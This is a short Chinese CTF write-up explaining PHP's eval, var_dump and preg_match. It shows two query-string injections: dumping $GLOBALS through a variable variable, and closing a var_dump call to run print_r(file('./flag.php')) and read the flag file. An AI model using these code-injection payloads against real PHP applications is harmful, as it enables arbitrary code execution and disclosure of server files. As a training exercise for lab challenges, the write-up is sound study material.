php函数（三）eval函数对比详解

preg_match(’/^\w*$/’,$a ),对$a的值进行匹配，如果是特殊字符返回error，反之进入eval.
var_dump(),结构化的打印变量值.
eval(),字符串按照 PHP 代码来计算.

flag就在某六位变量中。
构造:/?hello=GLOBALS —> $$a=$GLOBALS，打印全局变量。

---

题干已知：flag不在变量中。
构造:/?hello=); print_r(file("./flag.php")
—>eval(“var_dump($a);”);
—>eval(“var_dump(); print_r(file(”./flag.php"));");=eval(“print_r(file(”./flag.php"));");

即：打印*(./flag.php)

或：
构造:/?hello=);print_r(file("./flag.php"));//
—>eval(“var_dump($a);”);
—>eval(“var_dump();print_r(file(”./flag.php"));//);");=eval(“print_r(file(”./flag.php"));");